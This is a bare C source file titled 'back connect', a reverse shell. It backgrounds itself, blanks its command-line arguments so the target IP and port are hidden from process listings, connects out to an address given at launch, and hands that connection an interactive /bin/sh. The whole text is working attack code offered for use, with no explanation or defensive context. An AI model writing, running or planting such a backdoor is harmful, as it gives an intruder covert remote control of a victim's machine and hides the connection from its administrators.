back connect

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[]){
int fd;
struct sockaddr_in sin;
daemon(1,0);
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[1]));
sin.sin_addr.s_addr = inet_addr(argv[2]);
bzero(argv[2],strlen(argv[2])+1+strlen(argv[1]));
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0){perror("error\n");exit(0);}
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl("/bin/sh","sh",(char *)0);
close(fd);
}